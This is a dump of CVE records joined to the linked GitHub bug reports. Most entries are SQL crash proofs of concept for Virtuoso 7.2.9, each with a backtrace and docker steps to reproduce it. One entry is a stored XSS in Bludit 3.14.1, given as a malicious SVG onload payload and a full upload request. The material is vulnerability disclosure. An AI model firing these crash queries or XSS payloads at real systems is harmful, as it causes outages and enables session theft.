"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1129 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | **This crash seems can only be reproduced when compiling virtuoso with --with-debug.**
**When using the docker container, the SQL statement will strangely make the client shell STUCK, but will not crash the server.**
The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t4 (
a VARCHAR,
b VARCHAR
);
SELECT MIN(b), MIN(b) FROM t4;
```
backtrace:
```c
#0 0xe10319 (gpf_notice+0x209)
#1 0xdf7866 (print_object2+0x916)
#2 0x81c0e6 (select_node_input_vec+0x546)
#3 0x7b7a77 (select_node_input+0xa7)
#4 0x7ac43e (qn_input+0x3ce)
#5 0x7ac8a6 (qn_send_output+0x236)
#6 0x7ac43e (qn_input+0x3ce)
#7 0x7ac8a6 (qn_send_output+0x236)
#8 0x81e26d (set_ctr_vec_input+0x94d)
#9 0x7ac43e (qn_input+0x3ce)
#10 0x7bdc6e (qr_exec+0x11ee)
#11 0x7cb446 (sf_sql_execute+0x11a6)
#12 0x7cbf4e (sf_sql_execute_w+0x17e)
#13 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#14 0xe1f01c (future_wrapper+0x3fc)
#15 0xe2691e (_thread_boot+0x11e)
#16 0x7f02b43b7609 (start_thread+0xd9)
#17 0x7f02b4187133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at gpf_notice | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1129/comments | 0 | 2023-04-12T19:16:37Z | 2023-04-14T08:12:13Z | https://github.com/openlink/virtuoso-opensource/issues/1129 | 1,665,108,794 | 1,129 |
CVE-2023-31627 | 2023-05-15T15:15:12.587 | An issue in the strhash component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1140"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1140 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1 (
a varchar(255) DEFAULT NULL
);
SELECT * FROM t1 WHERE CONTAINS(*, 'tutorial & (mysql & -VÐƷWİ)');
```
backtrace:
```c
#0 0xdece40 (strhash+0x20)
#1 0xdec783 (id_hash_get+0x33)
#2 0x59c5d1 (tb_name_to_column+0x41)
#3 0x76aed1 (ot_is_defd+0x211)
#4 0x76b422 (sco_is_defd+0x372)
#5 0x775cec (sqlo_implied_columns_of_contains+0x3fc)
#6 0x77c3dc (sqlo_select_scope+0x75c)
#7 0x76d347 (sqlo_scope+0x447)
#8 0x70bd81 (sqlo_top_2+0x41)
#9 0x70b9d5 (sqlo_top_1+0x135)
#10 0x70d4c6 (sqlo_top_select+0x156)
#11 0x6b72bf (sql_stmt_comp+0x8bf)
#12 0x6ba122 (sql_compile_1+0x1a62)
#13 0x7c8cd0 (stmt_set_query+0x340)
#14 0x7cabc2 (sf_sql_execute+0x922)
#15 0x7cbf4e (sf_sql_execute_w+0x17e)
#16 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#17 0xe1f01c (future_wrapper+0x3fc)
#18 0xe2691e (_thread_boot+0x11e)
#19 0x7ff1272a6609 (start_thread+0xd9)
#20 0x7ff127076133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at strhash | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1140/comments | 0 | 2023-04-12T19:41:37Z | 2023-04-14T08:12:17Z | https://github.com/openlink/virtuoso-opensource/issues/1140 | 1,665,138,910 | 1,140 |
CVE-2023-31628 | 2023-05-15T15:15:12.633 | An issue in the stricmp component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1141"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1141 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE t1 (
x VARCHAR,
k VARCHAR
);
CREATE VIEW t1 AS SELECT x, k FROM t1;
INSERT INTO t1 VALUES ('x', 'y');
```
backtrace:
```c
#0 0xeff7b6 (stricmp+0x6)
#1 0x607569 (strihashcmp+0x29)
#2 0xdec7af (id_hash_get+0x5f)
#3 0x607e58 (sch_name_to_object_sc+0x58)
#4 0x6081b5 (sch_name_to_object+0xf5)
#5 0x7d8f70 (sqlc_insert+0x50)
#6 0x81721d (sqlc_insert_view+0x7fd)
#7 0x81721d (sqlc_insert_view+0x7fd)
#8 0x81721d (sqlc_insert_view+0x7fd)
#9 0x81721d (sqlc_insert_view+0x7fd)
#10 0x81721d (sqlc_insert_view+0x7fd)
...
#5737 0x81721d (sqlc_insert_view+0x7fd)
#5738 0x81721d (sqlc_insert_view+0x7fd)
#5739 0x6b7387 (sql_stmt_comp+0x987)
#5740 0x6ba122 (sql_compile_1+0x1a62)
#5741 0x7c8cd0 (stmt_set_query+0x340)
#5742 0x7cabc2 (sf_sql_execute+0x922)
#5743 0x7cbf4e (sf_sql_execute_w+0x17e)
#5744 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#5745 0xe1f01c (future_wrapper+0x3fc)
#5746 0xe2691e (_thread_boot+0x11e)
#5747 0x7fa64e4f4609 (start_thread+0xd9)
#5748 0x7fa64e2c4133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at stricmp (maybe the same as #1118) | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1141/comments | 1 | 2023-04-12T19:43:47Z | 2023-04-14T08:19:06Z | https://github.com/openlink/virtuoso-opensource/issues/1141 | 1,665,143,521 | 1,141 |
CVE-2023-31629 | 2023-05-15T15:15:12.677 | An issue in the sqlo_union_scope component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1139"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1139 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
SELECT CASE WHEN EXISTS (
SELECT 1 FROM t2 WHERE x=1 INTERSECT SELECT 1 FROM t2 WHERE y=2
)
THEN 1 ELSE 0 END;
```
backtrace:
```c
#0 0x76cd17 (sqlo_union_scope+0x67)
#1 0x76cd10 (sqlo_union_scope+0x60)
#2 0x76cd10 (sqlo_union_scope+0x60)
#3 0x76dc84 (sqlo_scope+0xd84)
#4 0x76d878 (sqlo_scope+0x978)
#5 0x76d2b4 (sqlo_scope+0x3b4)
#6 0x77c27a (sqlo_select_scope+0x5fa)
#7 0x76d347 (sqlo_scope+0x447)
#8 0x70bd81 (sqlo_top_2+0x41)
#9 0x70b9d5 (sqlo_top_1+0x135)
#10 0x70d4c6 (sqlo_top_select+0x156)
#11 0x6b72bf (sql_stmt_comp+0x8bf)
#12 0x6ba122 (sql_compile_1+0x1a62)
#13 0x7c8cd0 (stmt_set_query+0x340)
#14 0x7cabc2 (sf_sql_execute+0x922)
#15 0x7cbf4e (sf_sql_execute_w+0x17e)
#16 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#17 0xe1f01c (future_wrapper+0x3fc)
#18 0xe2691e (_thread_boot+0x11e)
#19 0x7faf7a35b609 (start_thread+0xd9)
#20 0x7faf7a12b133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at sqlo_union_scope | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1139/comments | 0 | 2023-04-12T19:40:20Z | 2023-04-14T08:12:16Z | https://github.com/openlink/virtuoso-opensource/issues/1139 | 1,665,136,195 | 1,139 |
CVE-2023-31630 | 2023-05-15T15:15:12.723 | An issue in the sqlo_query_spec component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1138"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1138 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE TABLE mvtest_pdt1 AS (SELECT 1 AS col1) WITH DATA;
```
backtrace:
```c
#0 0x70d571 (sqlo_query_spec+0x41)
#1 0x7da2d4 (sqlc_insert+0x13b4)
#2 0x6b7387 (sql_stmt_comp+0x987)
#3 0x6ba122 (sql_compile_1+0x1a62)
#4 0x68276d (bif_exec+0x67d)
#5 0x74b044 (ins_call_bif+0xc4)
#6 0x758f09 (code_vec_run_1+0xdf9)
#7 0x7ac431 (qn_input+0x3c1)
#8 0x7c04fa (qr_subq_exec+0x94a)
#9 0x74c001 (ins_call+0xc91)
#10 0x74d9f0 (ins_call_vec+0x320)
#11 0x751205 (code_vec_run_v+0xa25)
#12 0x7ac3ff (qn_input+0x38f)
#13 0x7bdc6e (qr_exec+0x11ee)
#14 0x7c36fe (qr_rec_exec+0x34e)
#15 0x4e4076 (sql_ddl_node_input_1+0xc96)
#16 0x4e444e (sql_ddl_node_input+0x10e)
#17 0x7b9f1b (ddl_node_input_1+0x19b)
#18 0x7ba5f7 (qn_without_ac_at+0xc7)
#19 0x7ac43e (qn_input+0x3ce)
#20 0x7bee59 (qr_dml_array_exec+0x839)
#21 0x7cb872 (sf_sql_execute+0x15d2)
#22 0x7cbf4e (sf_sql_execute_w+0x17e)
#23 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#24 0xe1f01c (future_wrapper+0x3fc)
#25 0xe2691e (_thread_boot+0x11e)
#26 0x7f3405362609 (start_thread+0xd9)
#27 0x7f3405132133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at sqlo_query_spec | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1138/comments | 0 | 2023-04-12T19:38:44Z | 2023-04-14T08:12:16Z | https://github.com/openlink/virtuoso-opensource/issues/1138 | 1,665,134,343 | 1,138 |
CVE-2023-31631 | 2023-05-15T15:15:12.777 | An issue in the sqlo_preds_contradiction component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/openlink/virtuoso-opensource/issues/1137"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:openlinksw:virtuoso:7.2.9:*:*:*:open_source:*:*:*",
"matchCriteriaId": "75FD7F91-D201-4286-8F97-D2D1C7C9D4C3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/openlink/virtuoso-opensource/issues/1137 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"openlink",
"virtuoso-opensource"
] | The PoC is generated by my DBMS fuzzer.
```SQL
CREATE VIEW t1(a) AS SELECT 1;
SELECT a, a, a FROM t1 WHERE a IN (1,5) AND a IN (9,8,3025,1000,3969)
ORDER BY a, a DESC;
```
backtrace:
```c
#0 0x6f6462 (sqlo_preds_contradiction+0x442)
#1 0x6fec43 (sqlo_place_table+0xe23)
#2 0x706bab (sqlo_try+0xdb)
#3 0x70818c (sqlo_layout_1+0x94c)
#4 0x6e84fb (sqlo_layout+0x5fb)
#5 0x70c075 (sqlo_top_2+0x335)
#6 0x70b9d5 (sqlo_top_1+0x135)
#7 0x70d4c6 (sqlo_top_select+0x156)
#8 0x6b72bf (sql_stmt_comp+0x8bf)
#9 0x6ba122 (sql_compile_1+0x1a62)
#10 0x7c8cd0 (stmt_set_query+0x340)
#11 0x7cabc2 (sf_sql_execute+0x922)
#12 0x7cbf4e (sf_sql_execute_w+0x17e)
#13 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#14 0xe1f01c (future_wrapper+0x3fc)
#15 0xe2691e (_thread_boot+0x11e)
#16 0x7f8d7a6e8609 (start_thread+0xd9)
#17 0x7f8d7a4b8133 (clone+0x43)
```
ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
``` | virtuoso 7.2.9 crashed at sqlo_preds_contradiction | https://api.github.com/repos/openlink/virtuoso-opensource/issues/1137/comments | 0 | 2023-04-12T19:36:18Z | 2023-04-14T08:12:15Z | https://github.com/openlink/virtuoso-opensource/issues/1137 | 1,665,131,513 | 1,137 |
CVE-2023-31698 | 2023-05-17T13:15:09.463 | Bludit v3.14.1 is vulnerable to Stored Cross Site Scripting (XSS) via SVG file on site logo. NOTE: the product's security model is that users are trusted by the administrator to insert arbitrary content (users cannot create their own accounts through self-registration). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/172462/Bludit-CMS-3.14.1-Cross-Site-Scripting.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://github.com/bludit/bludit/issues/1212#issuecomment-649514491"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://github.com/bludit/bludit/issues/1369#issuecomment-940806199"
},
{
"source": "[email protected]",
"tags": [
"Exploit"
],
"url": "https://github.com/bludit/bludit/issues/1509"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:bludit:bludit:3.14.1:*:*:*:*:*:*:*",
"matchCriteriaId": "E1884F54-CD39-43CC-B52B-8B2335A09CDB",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/bludit/bludit/issues/1212#issuecomment-649514491 | null | github.com | [
"bludit",
"bludit"
] | ### Describe your problem
https://github.com/bludit/bludit/blob/master/bl-kernel/ajax/logo-upload.php
Logo upload only determines the suffix, but not the content, which causes XSS
and the user can inject any javascript and html code in the page
payload



| Store XSS | https://api.github.com/repos/bludit/bludit/issues/1212/comments | 10 | 2020-06-19T07:23:19Z | 2022-02-22T16:10:21Z | https://github.com/bludit/bludit/issues/1212 | 641,764,976 | 1,212 |
CVE-2023-31698 | 2023-05-17T13:15:09.463 | Bludit v3.14.1 is vulnerable to Stored Cross Site Scripting (XSS) via SVG file on site logo. NOTE: the product's security model is that users are trusted by the administrator to insert arbitrary content (users cannot create their own accounts through self-registration). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/172462/Bludit-CMS-3.14.1-Cross-Site-Scripting.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://github.com/bludit/bludit/issues/1212#issuecomment-649514491"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://github.com/bludit/bludit/issues/1369#issuecomment-940806199"
},
{
"source": "[email protected]",
"tags": [
"Exploit"
],
"url": "https://github.com/bludit/bludit/issues/1509"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:bludit:bludit:3.14.1:*:*:*:*:*:*:*",
"matchCriteriaId": "E1884F54-CD39-43CC-B52B-8B2335A09CDB",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/bludit/bludit/issues/1369#issuecomment-940806199 | null | github.com | [
"bludit",
"bludit"
] | Hi i have identified a security vulnerability in your application. Kindly do let me know if we can discuss this in detail.
| Alert: Vulnerability in bludit | https://api.github.com/repos/bludit/bludit/issues/1369/comments | 6 | 2021-10-08T11:24:40Z | 2021-10-19T07:40:57Z | https://github.com/bludit/bludit/issues/1369 | 1,020,989,213 | 1,369 |
CVE-2023-31698 | 2023-05-17T13:15:09.463 | Bludit v3.14.1 is vulnerable to Stored Cross Site Scripting (XSS) via SVG file on site logo. NOTE: the product's security model is that users are trusted by the administrator to insert arbitrary content (users cannot create their own accounts through self-registration). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/172462/Bludit-CMS-3.14.1-Cross-Site-Scripting.html"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://github.com/bludit/bludit/issues/1212#issuecomment-649514491"
},
{
"source": "[email protected]",
"tags": null,
"url": "https://github.com/bludit/bludit/issues/1369#issuecomment-940806199"
},
{
"source": "[email protected]",
"tags": [
"Exploit"
],
"url": "https://github.com/bludit/bludit/issues/1509"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:bludit:bludit:3.14.1:*:*:*:*:*:*:*",
"matchCriteriaId": "E1884F54-CD39-43CC-B52B-8B2335A09CDB",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/bludit/bludit/issues/1509 | [
"Exploit"
] | github.com | [
"bludit",
"bludit"
] | **Description:**
I found Stored Cross-site scripting (XSS) vulnerability in your Bludit - Flat-File CMS (v3.14.1) on "General" settings to "Logo" field. When I send malicious code use svg file after then the browser give me result.
**CMS Version:**
v3.14.1
**Affected URL:**
http://127.0.0.1/bludit/admin/settings
**Steps to Reproduce:**
1. First login your admin panel.
2. then go to General settings and click logo section.

3. Now open notepad and save this code with xss.svg name with extension

4. Now upload this xss.svg file on logo section. So your request data will be:
POST /bludit/admin/ajax/logo-upload HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Content-Type: multipart/form-data; boundary=---------------------------15560729415644048492005010998
Referer: http://127.0.0.1/bludit/admin/settings
Cookie: BLUDITREMEMBERUSERNAME=admin; BLUDITREMEMBERTOKEN=139167a80807781336bc7484552bc985; BLUDIT-KEY=tmap19d0m813e8rqfft8rsl74i
Content-Length: 651
-----------------------------15560729415644048492005010998
Content-Disposition: form-data; name="tokenCSRF"
626c201693546f472cdfc11bed0938aab8c6e480
-----------------------------15560729415644048492005010998
Content-Disposition: form-data; name="inputFile"; filename="xss.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="2560.000000pt" height="1600.000000pt" viewBox="0 0 2560.000000 1600.000000"
preserveAspectRatio="xMidYMid meet" onload="alert(document.domain)">
</svg>
-----------------------------15560729415644048492005010998--

5. Now open logo image link that you upload. You will see XSS pop up.

**Proof of Concept:**
You can see the Proof of Concept. Which I've attached screenshots and video to confirm the vulnerability.
https://user-images.githubusercontent.com/41516016/232166257-eb768ab3-d49e-462c-8874-c30fe0127ff3.mp4
**Impact:**
Attackers can make use of this to conduct attacks like phishing, steal sessions etc.
Let me know if any further info is required.
Thanks & Regards
Rahad Chowdhury
Cyber Security Specialist
https://www.linkedin.com/in/rahadchowdhury/ | Stored XSS via SVG file Vulnerability on Bludit v3.14.1 | https://api.github.com/repos/bludit/bludit/issues/1509/comments | 2 | 2023-04-14T22:43:13Z | 2023-07-10T21:54:40Z | https://github.com/bludit/bludit/issues/1509 | 1,669,025,725 | 1,509 |
CVE-2023-31723 | 2023-05-17T15:15:08.873 | yasm 1.3.0.55.g101bc was discovered to contain a segmentation violation via the function expand_mmac_params at /nasm/nasm-pp.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
